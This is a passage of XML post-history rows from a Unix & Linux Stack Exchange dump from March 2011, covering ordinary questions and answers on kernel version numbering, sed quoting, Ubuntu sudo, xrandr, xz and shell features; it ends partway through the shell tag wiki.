  <row Id="23253" PostHistoryTypeId="2" PostId="9743" RevisionGUID="cba276ed-d78e-4391-a530-2d172aefb5b9" CreationDate="2011-03-20T17:43:28.677" UserId="4812" Text="What is the convention for numbering the linux kernels? AFAIK, the numbers never seem to decrease. However, i think I've seen three kinds of schemes&#xD;&#xA;&#xD;&#xA;* 2.6.32-29&#xD;&#xA;* 2.6.32-29.58&#xD;&#xA;* 2.6.11.10&#xD;&#xA;&#xD;&#xA;Can anybody explain what are the interpretations of these numbers and formats?" />
  <row Id="23254" PostHistoryTypeId="1" PostId="9743" RevisionGUID="cba276ed-d78e-4391-a530-2d172aefb5b9" CreationDate="2011-03-20T17:43:28.677" UserId="4812" Text="Numbering convention for the linux kernel?" />
  <row Id="23255" PostHistoryTypeId="3" PostId="9743" RevisionGUID="cba276ed-d78e-4391-a530-2d172aefb5b9" CreationDate="2011-03-20T17:43:28.677" UserId="4812" Text="ékernelàéconventionsà" />
  <row Id="23256" PostHistoryTypeId="2" PostId="9744" RevisionGUID="8a0091e7-fcda-4490-b5b7-f0b6b97430b9" CreationDate="2011-03-20T17:45:08.473" UserId="5914" Text="Hello, everyone!&#xD;&#xA;&#xD;&#xA;I have an old Toshiba Satellite 4015CDT, with Pentium II MMX, 32MB RAM, 4GB HDD. It also has one USB 1.0 port, parallel and serial ports, a 3.5&quot; floppy drive and a CD-ROM drive (almost dead). I've installed NetBSD on this machine (full install) and now I want to connect it to the Internet. Although it has one PCMCIA modem card in it, it is obviously not an option.&#xD;&#xA;&#xD;&#xA;In order to do that I tried to connect my Realtek RTL8192U wireless adapter, but although the system gives me the device's name (through dmesg) it fails to recognize it as a network adapter. I followed the instructions [here][1] and [here][2] to recompile the kernel with NDIS support. At compile time I got the following error messages:&#xD;&#xA;&#xD;&#xA;&gt; cc1: warnings being treated as errors&#xD;&#xA;&#xD;&#xA;&gt; ../../../../dev/if_ndis/if_ndis.c: In function 'ndis_detach':&#xD;&#xA;&#xD;&#xA;&gt; ../../../../dev/if_ndis/if_ndis.c:1187: warning: passing argument 1 of 'mutex_destroy' from incompatible pointer type&#xD;&#xA;&#xD;&#xA;&gt; *** Error code 1&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help on this matter. Thanks in advance.&#xD;&#xA;&#xD;&#xA;P.S. If it is of any help, the system was installed by first booting off the installation floppies (&quot;boot1.fs&quot; and &quot;boot2.fs&quot; downloaded from the official ftp server: `/pub/NetBSD/NetBSD-5.1/i386/installation/floppy/`), and then the packages were copied from a USB flash drive (packages also downloaded from the ftp server: `/pub/NetBSD/NetBSD-5.1/i386/binary/sets/`).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=ndis&amp;manpath=NetBSD+5.1&#xD;&#xA;  [2]: http://www.netbsd.org/docs/kernel/" />
  <row Id="23257" PostHistoryTypeId="1" PostId="9744" RevisionGUID="8a0091e7-fcda-4490-b5b7-f0b6b97430b9" CreationDate="2011-03-20T17:45:08.473" UserId="5914" Text="NetBSD 5.1 NDIS Kernel Compile Error" />
  <row Id="23258" PostHistoryTypeId="3" PostId="9744" RevisionGUID="8a0091e7-fcda-4490-b5b7-f0b6b97430b9" CreationDate="2011-03-20T17:45:08.473" UserId="5914" Text="ékernelàénetworkingàécompilingàéwirelessàénetbsdà" />
  <row Id="23259" PostHistoryTypeId="6" PostId="9743" RevisionGUID="b884be5e-d3f7-4a8d-b5ed-971186c11ba5" CreationDate="2011-03-20T17:47:48.593" UserId="885" Comment="edited tags" Text="élinuxàékernelàéversionàéconventionsà" />
  <row Id="23261" PostHistoryTypeId="5" PostId="9742" RevisionGUID="ef900fd9-f520-44fa-8bfa-8f52cad8d29f" CreationDate="2011-03-20T18:25:28.013" UserId="5325" Comment="per comment, kill ring versions" Text="Type `C-u` before either `M-:` or `M-!` to get the result inserted instead of sent to the echo area.&#xD;&#xA;&#xD;&#xA;To get things directly into the kill ring, you need to dabble in Elisp.  Something like this (untested):&#xD;&#xA;&#xD;&#xA;    ;;; kill ring version of M-!&#xD;&#xA;    (defun shell-command-to-kill-ring (command)&#xD;&#xA;        (interactive&#xD;&#xA;          (list&#xD;&#xA;            (read-shell-command &quot;Shell command: &quot; nil nil&#xD;&#xA;        			(let ((filename&#xD;&#xA;        			       (cond&#xD;&#xA;        				(buffer-file-name)&#xD;&#xA;        				((eq major-mode 'dired-mode)&#xD;&#xA;        				 (dired-get-filename nil t)))))&#xD;&#xA;        			  (and filename (file-relative-name filename))))&#xD;&#xA;            current-prefix-arg&#xD;&#xA;            shell-command-default-error-buffer))&#xD;&#xA;        (kill-new (shell-command-to-string command)))&#xD;&#xA;    &#xD;&#xA;    ;;; kill-ring version of M-:&#xD;&#xA;    (defun eval-expression-to-kill-ring ()&#xD;&#xA;        (interactive)&#xD;&#xA;        (call-interactively 'eval-expression)&#xD;&#xA;        (kill-new (car values)))&#xD;&#xA;" />
  <row Id="23262" PostHistoryTypeId="5" PostId="9744" RevisionGUID="b4b0aab7-e190-46ce-83cf-a290f1bef214" CreationDate="2011-03-20T18:30:30.587" UserId="5914" Comment="added 113 characters in body; added 60 characters in body" Text="Hello, everyone!&#xD;&#xA;&#xD;&#xA;I have an old Toshiba Satellite 4015CDT, with Pentium II MMX, 32MB RAM, 4GB HDD. It also has one USB 1.0 port, parallel and serial ports, a 3.5&quot; floppy drive and a CD-ROM drive (almost dead). I've installed NetBSD on this machine (full install) and now I want to connect it to the Internet. Although it has one PCMCIA modem card in it, it is obviously not an option.&#xD;&#xA;&#xD;&#xA;In order to do that I tried to connect my Realtek RTL8192U wireless adapter, but although the system gives me the device's name (through dmesg) it fails to recognize it as a network adapter. I followed the instructions [here][1] and [here][2] to recompile the kernel with NDIS support (I gave this configuration the name &quot;NDIS&quot;). At compile time I got the following error messages:&#xD;&#xA;&#xD;&#xA;&gt; cc1: warnings being treated as errors&#xD;&#xA;&#xD;&#xA;&gt; ../../../../dev/if_ndis/if_ndis.c: In function 'ndis_detach':&#xD;&#xA;&#xD;&#xA;&gt; ../../../../dev/if_ndis/if_ndis.c:1187: warning: passing argument 1 of 'mutex_destroy' from incompatible pointer type&#xD;&#xA;&#xD;&#xA;&gt; *** Error code 1&#xD;&#xA;&#xD;&#xA;&gt; Stop.&#xD;&#xA;&#xD;&#xA;&gt; make: stopped in /usr/src/sys/arch/i386/compile/NDIS&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help on this matter. Thanks in advance.&#xD;&#xA;&#xD;&#xA;P.S. If it is of any help, the system was installed by first booting off the installation floppies (&quot;boot1.fs&quot; and &quot;boot2.fs&quot; downloaded from the [official ftp server][3]), and then the packages were copied from a USB flash drive (packages also downloaded from the [ftp server][4]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=ndis&amp;manpath=NetBSD+5.1&#xD;&#xA;  [2]: http://www.netbsd.org/docs/kernel/&#xD;&#xA;  [3]: ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-5.1/i386/installation/floppy/&#xD;&#xA;  [4]: ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-5.1/i386/binary/sets/" />
  <row Id="23263" PostHistoryTypeId="2" PostId="9745" RevisionGUID="ee9e46f1-337f-405b-bb5b-f1c7e0f5a9a9" CreationDate="2011-03-20T18:54:38.070" UserId="4319" Text="In `eshell` in Emacs, there is command (not yet mentioned here in other answers) that seems to tackle the task you are implicitly wondering about when asking your question -- `eshell-show-output`; its description (&lt;kbd&gt;C-h f&lt;/kbd&gt;` eshell-show-output`):&#xD;&#xA;&#xD;&#xA;&gt; It is bound to &lt;kbd&gt;C-c C-r&lt;/kbd&gt;, &lt;kbd&gt;C-M-l&lt;/kbd&gt;.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `(eshell-show-output &amp;optional arg)`&#xD;&#xA;&gt; &#xD;&#xA;&gt; Display start of this batch of&#xD;&#xA;&gt; interpreter output at top of window.&#xD;&#xA;&gt; Sets mark to the value of point when&#xD;&#xA;&gt; this command is run. With a prefix&#xD;&#xA;&gt; argument, narrows region to last&#xD;&#xA;&gt; command output.&#xD;&#xA;&#xD;&#xA;The narrowing effect (with a prefix argument, i.e., &lt;kbd&gt;C-u C-c C-r&lt;/kbd&gt;) could be also interesting to you given your task." />
  <row Id="23264" PostHistoryTypeId="2" PostId="9746" RevisionGUID="f271a343-fefa-4ca7-85cd-5e4c9c714a01" CreationDate="2011-03-20T19:05:45.063" UserId="5916" Text="I have a file that contains multiple lines of xml. I would like to replace certain parts of the file. Some parts of the file contains quotation marks (`&quot;`) which I would like to replace. I have been trying to *escape* the quotation mark with `\`, but I don't think this is working based on the result of my file.&#xD;&#xA;&#xD;&#xA;Here is an example of one of my sed commands:&#xD;&#xA;&#xD;&#xA;    sed -e &quot;s/\&quot;text\&quot;/'text'/ig&quot; file.xml &gt; temp.tmp&#xD;&#xA;&#xD;&#xA;Is this how you escape quotation marks in a sed command or am I doing something wrong?" />
  <row Id="23265" PostHistoryTypeId="1" PostId="9746" RevisionGUID="f271a343-fefa-4ca7-85cd-5e4c9c714a01" CreationDate="2011-03-20T19:05:45.063" UserId="5916" Text="How to replace quotation marks in a file with sed?" />
  <row Id="23266" PostHistoryTypeId="3" PostId="9746" RevisionGUID="f271a343-fefa-4ca7-85cd-5e4c9c714a01" CreationDate="2011-03-20T19:05:45.063" UserId="5916" Text="ésedà" />
  <row Id="23267" PostHistoryTypeId="2" PostId="9747" RevisionGUID="39adcff8-4007-4616-af27-ff99ed7e7550" CreationDate="2011-03-20T19:35:09.627" UserId="4667" Text="&quot;Linux kernel version numbering&quot; at wikipedia: &#xD;&#xA;http://en.wikipedia.org/wiki/Linux_kernel#Version_numbering" />
  <row Id="23268" PostHistoryTypeId="5" PostId="9735" RevisionGUID="1b26d890-68fb-40da-a7a7-0765a30def0c" CreationDate="2011-03-20T20:12:47.617" UserId="4671" Comment="added 149 characters in body" Text="Well, there are Ekiga and its various cousins eg. Twinkle, which support the SIP standard. Unfortunately my experience is that they do not work as reliably as Skype. In particular, Ekiga seems to get upset by Flash. That is understandable. I also find Flash quite upsetting.&#xD;&#xA;&#xD;&#xA;If you can get Ekiga to work, its rates via Diamondcard.us are a lot cheaper than Skype, particularly for SMS, if you use that. The cost of an SMS for the locations I checked is around a third of Skypes. The difference for regular calls is less dramatic but still significant. And it is free (as in freedom) software, and seems to be quite cross-platform.&#xD;&#xA;&#xD;&#xA;I think Ekiga does not currently support encryption, so that would violate one of your criteria.&#xD;&#xA;" />
  <row Id="23269" PostHistoryTypeId="2" PostId="9748" RevisionGUID="4377b987-1009-4606-93b0-b7d34c4c6a3c" CreationDate="2011-03-20T20:16:58.840" UserId="5447" Text="By default, Ubuntu does not create a root account that the user can login to. [Instead users use `sudo`][1] when they need to perform actions that require administrative access.&#xD;&#xA;&#xD;&#xA;Obviously, the people at Ubuntu feel like this is a good idea, and everything I've read on the Ubuntu site gives plenty of reasons why they think it's a *good* idea (see [RootSudo @ the Ubuntu Wiki][2], for example).&#xD;&#xA;&#xD;&#xA;However, many other mainstream distributions, such as Debian, Gentoo, etc. don't set things up this way by default, and I'm trying to figure out why. If Ubuntu's default sudo-root setup is such a good idea, why aren't all of the other mainstream distros doing it too? This leads me to believe that there might be strong reasons for NOT setting it up this way; but I'm having trouble finding anything that gives any details on this. All I'm finding is articles/posts that talk about how great it is ...&#xD;&#xA;&#xD;&#xA;So my question is: Are there any major problems with Ubuntu's sudo setup (insecurity, functional limitations, etc.) that prevent other distributions from using this setup, and if so what are they? Of course, it might simply be a great idea that other distros have just been slow to pick up on, or resistant to because it's different from how things have worked for the past 30 years. If that's the case, I'd like to know that to.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/RootSudo&#xD;&#xA;  [2]: https://help.ubuntu.com/community/RootSudo" />
  <row Id="23270" PostHistoryTypeId="1" PostId="9748" RevisionGUID="4377b987-1009-4606-93b0-b7d34c4c6a3c" CreationDate="2011-03-20T20:16:58.840" UserId="5447" Text="Negatives/downsides of Ubuntu's no-root sudo setup" />
  <row Id="23271" PostHistoryTypeId="3" PostId="9748" RevisionGUID="4377b987-1009-4606-93b0-b7d34c4c6a3c" CreationDate="2011-03-20T20:16:58.840" UserId="5447" Text="éubuntuàésudoàérootà" />
  <row Id="23272" PostHistoryTypeId="25" PostId="9743" RevisionGUID="cfebb5a8-15ea-46a4-bf27-6e6e21783351" CreationDate="2011-03-20T20:31:26.690" Comment="http://twitter.com/#!/StackUnix/status/49568754425790464" />
  <row Id="23273" PostHistoryTypeId="2" PostId="9749" RevisionGUID="88117902-db04-4936-b048-54cb963fa026" CreationDate="2011-03-20T21:05:12.403" UserId="5785" Text="Basically, sudo gives you administrative privileges. If you have no root account, and your user have `ALL=(ALL) ALL` in `/etc/sudoers`, then your user is a superuser. It's not recommended since you can execute commands with administrative privileges using `sudo` and YOUR user password.&#xD;&#xA;&#xD;&#xA;Administrator MUST configure `sudo` to admit some commands for the users, but some administrative tasks will be `root` only, so `root` is the real _superuser_.&#xD;&#xA;&#xD;&#xA;The real problem is that privileges are a privilege. The MOST secure system will have just 1 superuser, and it's `root`." />
  <row Id="23274" PostHistoryTypeId="5" PostId="9749" RevisionGUID="a679ffc7-419d-468f-a4f9-d653e5737adf" CreationDate="2011-03-20T21:11:01.333" UserId="5785" Comment="added 65 characters in body" Text="Basically, sudo gives you administrative privileges. If you have no root account, and your user have `ALL=(ALL) ALL` in `/etc/sudoers`, then your user is a superuser. It's not recommended since you can execute commands with administrative privileges using `sudo` and YOUR user password.&#xD;&#xA;&#xD;&#xA;Administrator MUST configure `sudo` to admit some commands for the users, but some administrative tasks will be `root` only, so `root` is the real _superuser_.&#xD;&#xA;&#xD;&#xA;The real problem is that privileges are a privilege. The MOST secure system will have just 1 superuser, and it's `root`.&#xD;&#xA;&#xD;&#xA;See [**this**][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kb.iu.edu/data/amyi.html" />
  <row Id="23275" PostHistoryTypeId="2" PostId="9750" RevisionGUID="05e3fc8e-3321-4ded-acbd-79c43501bb29" CreationDate="2011-03-20T21:12:27.547" UserId="1290" Text="In those other distros you mention, it is advisable to create (or rather uncomment) a line in `/etc/sudoers`, that gives the group `wheel` unlimited access, and then add yourself to that group.&#xD;&#xA;&#xD;&#xA;This is not only exclusive to Linux, but also standard on *BSD, and I believe even on Mac OS X (not sure about the last one, as I don't use Macs regularily)." />
  <row Id="23276" PostHistoryTypeId="2" PostId="9751" RevisionGUID="400cac1c-747a-44ef-9799-a27bb47aae07" CreationDate="2011-03-20T21:20:39.207" UserId="5447" Text="As mattdm pointed out, this question has already been answered here: http://unix.stackexchange.com/questions/8581/which-is-the-safest-way-to-get-root-privileges-sudo-su-or-login/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23277" PostHistoryTypeId="2" PostId="9752" RevisionGUID="6a586a95-85c8-433c-aba3-a691a1caeb70" CreationDate="2011-03-20T21:21:17.407" UserId="2844" Text="Two tips:&#xD;&#xA;&#xD;&#xA; 1. You can't escape a single quote within a single quote. So you have to close the quote, add an escaped quote, then open the quotes again. That is: 'fooo'\''bar'. After foo I closed the quote, then I added an escaped single quote, then opened the quotes again.&#xD;&#xA; 2. (optional) You don't necessarily have to use / in sed. I find that using / and \ in the same sed expression makes it difficult to read.&#xD;&#xA;&#xD;&#xA;For example, to remove the quotes from these files:&#xD;&#xA;&#xD;&#xA;&gt; $ cat /tmp/f&#xD;&#xA;&gt; aaa&quot;bbb&quot;'ccc'aaa&#xD;&#xA;&#xD;&#xA;Given my two tips above, the command you can use to remove both double and single quotes is:&#xD;&#xA;&#xD;&#xA;&gt; sed -e 's|[&quot;'\'']||g' /tmp/f&#xD;&#xA;&#xD;&#xA;If you ignore the funky features I used, this translates to: s/['&quot;]//g. It means `remove all characters matching either ' or &quot;`. You probably need something more complex than this to do what you want, but it's a start. I hope it helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23278" PostHistoryTypeId="5" PostId="9751" RevisionGUID="f7d176a9-a762-4aa1-8968-6f825382061a" CreationDate="2011-03-20T21:28:27.547" UserId="5447" Comment="added 20 characters in body" Text="As mattdm pointed out, this question (for the most part) has already been answered here: http://unix.stackexchange.com/questions/8581/which-is-the-safest-way-to-get-root-privileges-sudo-su-or-login/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23279" PostHistoryTypeId="2" PostId="9753" RevisionGUID="30692d43-755c-474b-bf05-7edfc4757783" CreationDate="2011-03-20T21:34:36.730" UserId="1290" Text="I can tell you what I do:&#xD;&#xA;&#xD;&#xA;Check if the chip is supported and/or if the manufacturer supplies drivers for the card.&#xD;&#xA;&#xD;&#xA;For instance, I have an Nvidia which on Linux, is no problem. I can choose from a variety of drivers. and it works well that way.&#xD;&#xA;&#xD;&#xA;Nvidia was never a problem on Linux, most distros have the drivers in some repo, (on Fedora, that's in fedora-fusion). Those are closed-source drivers, but it's been working well for years. I remember making the kernelmod on my computer directly from the Nvidia resources, and that was six years ago.&#xD;&#xA;&#xD;&#xA;Don't be afraid do invest in a new card. Support for new cards picks up pretty quick, and since it basically all depends on the chip, it's the chip that needs to be supported. Newer cards usually have the same chip designs, but with improved performance and power efficiency. &#xD;&#xA;&#xD;&#xA;2D and 3D performance are more or less merging into one another. Compositing desktop for instance, need 3D acceleration to work properly.&#xD;&#xA;&#xD;&#xA;Another interesting aspect is, how closed-source is a closed-source driver. The Nvidia drivers /are/ closed-source, but on the other hand, the developers keep a good contact with their userbase and Linux developers. So, the source is not open to anyone, but it is very likely, that you /can/ have influence on the development of those drivers.&#xD;&#xA;Developing those drivers is no trivial matter, Xorg tried it, but they sort of failed and most people rely on closed drivers up until now.&#xD;&#xA;As long as the card manufacturer supplies free and good working drivers for Linux, I don't see why they shouldn't be used.&#xD;&#xA;&#xD;&#xA;To get information whether your card is supported or not, I wouldn't look too much in Mailing list, but ask the manufacturer directly. Keep in mind: The Linux users community isn't that small anymore, and especially in academia and research, Linux is usually the standard. So, manufacturers have to respond to that user sector as well. But as I said above: It's not the support for the card you're looking for, it's the support for the chip on it.&#xD;&#xA;&#xD;&#xA;When it comes to benchmarking, Data from Windows can be used, as long it uses the same acceleration toolkit (if any) (i.e. OpenGL). Benchmarks done with DirecX, can't be reproduced on Linux, obviously.&#xD;&#xA;&#xD;&#xA;Anyway, this is how I've been deciding which graphics card to get for my Linux computer." />
  <row Id="23280" PostHistoryTypeId="2" PostId="9754" RevisionGUID="142939e2-ccf1-46c5-a6cf-7ccdc06d73d9" CreationDate="2011-03-20T21:39:58.753" UserId="2844" Text="Try **xrandr** --verbose. It shows the RAW edid information and lots of other useful information for all monitors connected to your computer.&#xD;&#xA;&#xD;&#xA;Example output, with only the EDID section:&#xD;&#xA;&#xD;&#xA;    $ xrandr --verbose&#xD;&#xA;    (cut)&#xD;&#xA;    	EDID:&#xD;&#xA;    		00ffffffffffff0030ae364000000000&#xD;&#xA;    		00130103801e1378eaef259458568a29&#xD;&#xA;    		24505400000001010101010101010101&#xD;&#xA;    		0101010101018a25a02051841a303040&#xD;&#xA;    		360030be100000195e1fa02051841a30&#xD;&#xA;    		3040360030be100000190000000f0095&#xD;&#xA;    		0a32950a2816090030e47302000000fe&#xD;&#xA;    		004c503134315750332d544c413100ab&#xD;&#xA;    (cut)&#xD;&#xA;&#xD;&#xA;With regards to your last question, **udev** can inform you and let you run commands when a monitor is connected. It's really easy to write bash scripts for udev events.&#xD;&#xA;&#xD;&#xA;I'm not sure what you're trying to do here, but I find xrandr very useful for automatically setting the monitor layout that I want whenever I plug or unplug external monitors at work or at home. You don't need monitor serial for this. The simplified output name works fine. Run xrandr to see the outputs (monitors) available.&#xD;&#xA;&#xD;&#xA;I run this script to set my preferred layout:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash &#xD;&#xA;    xrandr --output LVDS1 --auto&#xD;&#xA;    xrandr --output DP2 --auto --right-of LVDS1&#xD;&#xA;&#xD;&#xA;LVDS1 being the name of the notebook monitor, DPS2 the external one.&#xD;&#xA;&#xD;&#xA;I hope this helps." />
  <row Id="23281" PostHistoryTypeId="2" PostId="9755" RevisionGUID="0e1c8c7a-bcbf-4b13-875d-c132d0b37db9" CreationDate="2011-03-20T21:50:36.250" UserId="1290" Text="what dr01 answered is generally correct, but why use 7z for compressing a single file at all?&#xD;&#xA;&#xD;&#xA;I'd suggest you take a look at [`xz`][1] or maybe even [`pxz`][2], if that's available on your distro.&#xD;&#xA;`xz` works well with `tar`, newer versions of tar have the &quot;-J&quot; switch, which runs it through `xz`&#xD;&#xA;&#xD;&#xA;In any event, you can use `xz` to compress a single file, just as you'd use `gzip` or `bzip2`:&#xD;&#xA;&#xD;&#xA;    $ xz file.txt&#xD;&#xA;*(creates file `file.txt.xz`)*&#xD;&#xA;&#xD;&#xA;  [1]: http://tukaani.org/xz/&#xD;&#xA;  [2]: http://jnovy.fedorapeople.org/pxz/pxz.html" />
  <row Id="23282" PostHistoryTypeId="5" PostId="5055" RevisionGUID="de1901bb-f613-45dd-ab8e-6355b47630ed" CreationDate="2011-03-20T21:54:40.687" UserId="885" Comment="shortened title; removed spurious zsh tag" Text="After reading [this answer][1] about a zsh feature:&#xD;&#xA;&#xD;&#xA;&gt; If a given extension has a suffix&#xD;&#xA;&gt; alias, you can execute a file with&#xD;&#xA;&gt; that extention directly, and ZSH will&#xD;&#xA;&gt; launch the given program and pass the&#xD;&#xA;&gt; filename as an argument.&#xD;&#xA;&#xD;&#xA;Is there something similar to bash? That is, if a given file has an extension, how to directly execute that file, automatically launching a program just by calling the file's name? So doing&#xD;&#xA;&#xD;&#xA;&gt; program /path/to/foo.ext&#xD;&#xA;&gt;&#xD;&#xA;&gt; /path/to/foo.ext&#xD;&#xA;&#xD;&#xA;would equivalent to the same [zsh feature][1]? Is this feature available in newer versions of bash?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/221#221" />
  <row Id="23283" PostHistoryTypeId="4" PostId="5055" RevisionGUID="de1901bb-f613-45dd-ab8e-6355b47630ed" CreationDate="2011-03-20T21:54:40.687" UserId="885" Comment="shortened title; removed spurious zsh tag" Text="Execute a file in an application based on the file's extension in bash" />
  <row Id="23284" PostHistoryTypeId="6" PostId="5055" RevisionGUID="de1901bb-f613-45dd-ab8e-6355b47630ed" CreationDate="2011-03-20T21:54:40.687" UserId="885" Comment="shortened title; removed spurious zsh tag" Text="ébashà" />
  <row Id="23285" PostHistoryTypeId="6" PostId="2161" RevisionGUID="a5e07e48-53b7-4848-aee6-77337e057768" CreationDate="2011-03-20T21:55:56.160" UserId="885" Comment="edited tags" Text="ébackupàérsyncàéwildcardsà" />
  <row Id="23286" PostHistoryTypeId="5" PostId="6152" RevisionGUID="9b8f25fc-a197-492a-aa2a-5a730dceeff8" CreationDate="2011-03-20T21:58:36.237" UserId="885" Comment="deleted 37 characters in body; edited tags" Text="Is it possible to configure zsh to expand global aliases during tab completion?  For example, I have the common aliases:&#xD;&#xA;&#xD;&#xA;    alias -g '...'='../..'&#xD;&#xA;    alias -g '....'='../../..'&#xD;&#xA;&#xD;&#xA;but when I type for example `cd .../some&lt;tab&gt;` it won't expand to `cd .../something` or `cd ../../something`.  Consequently, I frequently won't use these handy aliases because I can't tab complete where I want to go.&#xD;&#xA;" />
  <row Id="23287" PostHistoryTypeId="6" PostId="6152" RevisionGUID="9b8f25fc-a197-492a-aa2a-5a730dceeff8" CreationDate="2011-03-20T21:58:36.237" UserId="885" Comment="deleted 37 characters in body; edited tags" Text="ézshàéaliasàéautocompleteà" />
  <row Id="23288" PostHistoryTypeId="2" PostId="9756" RevisionGUID="bcf79dcc-59d3-4209-9b11-501db6709427" CreationDate="2011-03-20T22:23:31.727" UserId="5920" Text="I'm writing a program for Systems Programming in Unix, and one of the requirements is to process all possible error returns from system calls.&#xD;&#xA;&#xD;&#xA;So, rather than having a function tailored to each system call, I'd like to have one function take care of that responsibility.  So, are all error number returns unique?  If not, what areas of overlap exist? " />
  <row Id="23289" PostHistoryTypeId="1" PostId="9756" RevisionGUID="bcf79dcc-59d3-4209-9b11-501db6709427" CreationDate="2011-03-20T22:23:31.727" UserId="5920" Text="Are all system call error numbers unique?" />
  <row Id="23290" PostHistoryTypeId="3" PostId="9756" RevisionGUID="bcf79dcc-59d3-4209-9b11-501db6709427" CreationDate="2011-03-20T22:23:31.727" UserId="5920" Text="ésystemöcallsàésystemöprogrammingàéerroröhandlingà" />
  <row Id="23291" PostHistoryTypeId="5" PostId="5283" RevisionGUID="9a40b5a3-eb72-472c-ad95-b50763d146ad" CreationDate="2011-03-20T22:27:30.053" UserId="885" Comment="link to [tag:tcsh]; link to bash/zsh comparison" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] [tag:tcsh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* command line edition, often with configurable key bindings.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as 